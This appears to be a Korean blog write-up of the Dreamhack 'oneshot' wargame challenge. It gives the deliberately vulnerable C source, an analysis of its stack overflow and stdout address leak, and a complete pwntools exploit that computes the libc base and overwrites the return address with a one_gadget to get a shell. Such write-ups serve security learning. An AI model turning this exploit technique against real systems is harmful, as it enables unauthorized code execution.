1. 실습 코드
// gcc -o oneshot1 oneshot1.c -fno-stack-protector -fPIC -pie
#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
void alarm_handler() {
puts("TIME OUT");
exit(-1);
}
void initialize() {
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
signal(SIGALRM, alarm_handler);
alarm(60);
}
int main(int argc, char *argv[]) {
char msg[16];
size_t check = 0;
initialize();
printf("stdout: %p\n", stdout);
printf("MSG: ");
read(0, msg, 46);
if(check > 0) {
exit(0);
}
printf("MSG: %s\n", msg);
memset(msg, 0, sizeof(msg));
return 0;
}
2. 코드 분석
① stdout의 주소 값을 출력해준다.
- 이를 통해, lib가 맵핑된 주소 값을 알 수 있다.
② BOF 취약점이 존재한다.
- msg의 할당된 크기보다 많은 값을 입력받아온다.
- 이를 통해, RET를 onegadget주소로 덮어쓴다.
③ check값이 변조되면, exit로 프로그램이 종료된다.
- BOF공격을 예방하기 위한 코드로, 기존에 존재하는 값인 0이 변할 경우 프로그램이 종료된다.
3. 공격 시나리오
① 출력되는 stdout주소를 통해, lib가 맵핑된 주소 값을 계산한다.
② BOF취약점을 통해, RET를 조건이 맞는 onegadget으로 덮어쓴다.
- one_gadget으로 나온 결과는 아래와 같다.
③ msg이후의 check가 변조되지 않게 0x8만큼 0을 넣어줘야 한다.
3. Exploit
- pwntool을 이용하여, exploit 코드를 작성해보면 아래와 같다.
from pwn import *
def print_v(name, value):
return success(": ".join([name, hex(value)]))
p = remote("host3.dreamhack.games", 21734)
elf = ELF(b"./oneshot")
libc = ELF(b"./libc.so.6")
gadget1 = 0x45216
gadget2 = 0x4526a
gadget3 = 0xf02a4
gadget4 = 0xf1147
p.recvuntil(b"stdout: ")
libc_stdout = int(p.recvn(14), 16)
libc_base = libc_stdout - libc.symbols['_IO_2_1_stdout_']
gadget = libc_base + gadget1
print_v("stdout", libc_stdout)
print_v("libc_base", libc_base)
payload = (b"A" * 0x18)
payload += p64(0)
payload += (b"B" * 0x8)
payload += p64(gadget)
p.recvuntil(b"MSG: ")
p.send(payload)
p.interactive()
'Dreamhack > Wargame' 카테고리의 다른 글
[Wargame] out_of_bound (0) | 2022.08.10 |
---|---|
[Wargame] hook (0) | 2022.07.22 |
[Wargame] fho (0) | 2022.07.19 |
[Wargame] basic_rop_x86 (0) | 2022.07.10 |
[Wargame] basic_rop_x64 (0) | 2022.07.08 |